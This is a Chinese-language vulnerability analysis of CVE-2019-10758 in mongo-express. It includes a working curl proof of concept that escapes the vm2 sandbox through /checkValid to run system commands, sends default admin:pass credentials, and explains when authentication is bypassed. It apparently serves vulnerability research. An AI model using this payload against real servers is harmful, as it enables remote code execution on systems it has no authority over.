早上室友说发了一则mongo-express的预警,正好看到陈师傅也发了twitter,动手分析一下,如有差错还望指正
漏洞环境:
https://github.com/mongo-express/mongo-express#readme
https://github.com/masahiro331/CVE-2019-10758
自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以,poc直接就能打出来
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
文件express-mongo/node_modules/mongo-express/lib/router.js
进行路由事件的方法绑定+分发
事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js
,调用了toBSON
在toBSON函数中将传入的参数放进vm2沙箱里去eval
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
vm.runInNewContext('doc = eval((' + string + '));', sandbox);
return sandbox.doc;
};
绕一下vm2逃逸出来沙箱即可,详情可以看这篇文章Sandboxing NodeJS is hard, here is why
mongo-express
把原始config对象写在config.default.js文件中。
漏洞分析中的poc需要进行权限鉴定,也就是poc中使用了请求头Authorization: Basic YWRtaW46cGFzcw==
的原因。删掉后请求则会返回未授权
但是如果以cli+指定用户形式启动服务端与mongo的连接时,则不需要授权也能打(个人认为这种方式更常见一点?),下面是一点分析,如果有不对的地方还望师傅们指出
程序入口逻辑是这样的,如果你程序启动的时候给一个-u&-p参数则config.useBasicAuth
为false,而config.useBasicAuth
在加载配置的阶段默认为true
if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}
接着看文件express-mongo/node_modules/mongo-express/lib/router.js
,根据config.useBasicAuth
的值绑定一个basicAuth
中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定
这里假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth
函数。发现它定义了两个全局变量username
&password
,来存储配置文件的用户名密码。
module.exports = function basicAuth(callback, realm) {
var username, password;
// user / pass strings
if ('string' == typeof callback) {
username = callback;
password = realm;
if ('string' != typeof password) throw new Error('password argument required');
realm = arguments[2];
callback = function(user, pass){
return user == username && pass == password;
}
}
realm = realm || 'Authorization Required';
return function(req, res, next) {
var authorization = req.headers.authorization;
if (req.user) return next();
if (!authorization) return unauthorized(res, realm);
var parts = authorization.split(' ');
if (parts.length !== 2) return next(error(400));
var scheme = parts[0]
, credentials = new Buffer(parts[1], 'base64').toString()
, index = credentials.indexOf(':');
if ('Basic' != scheme || index < 0) return next(error(400));
var user = credentials.slice(0, index)
, pass = credentials.slice(index + 1);
// async
if (callback.length >= 3) {
callback(user, pass, function(err, user){
if (err || !user) return unauthorized(res, realm);
req.user = req.remoteUser = user;
next();
});
// sync
} else {
if (callback(user, pass)) {
req.user = req.remoteUser = user;
next();
} else {
unauthorized(res, realm);
}
}
}
};
在这之后的所有请求则必须都要有req.headers.authorization
,来与全局变量username
&password
比对进行认证,否则返回Unauthorized
在mongo-express中还有一种启动方式,即用命令行传递参数。
由于poc中启动mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能未授权来登录。
所以这个"未授权"意思就是,如果受害者指定了用户名/密码去启动express-mongo。那么攻击者直接未授权就可以打。
不过在官方文档中给出了一句话:
You can use the following environment variables to modify the container's configuration
因为config.default.js默认会从环境变量中加载mongodb的用户名&密码,这样无需参数就能启动服务,也顺便避免了未授权的问题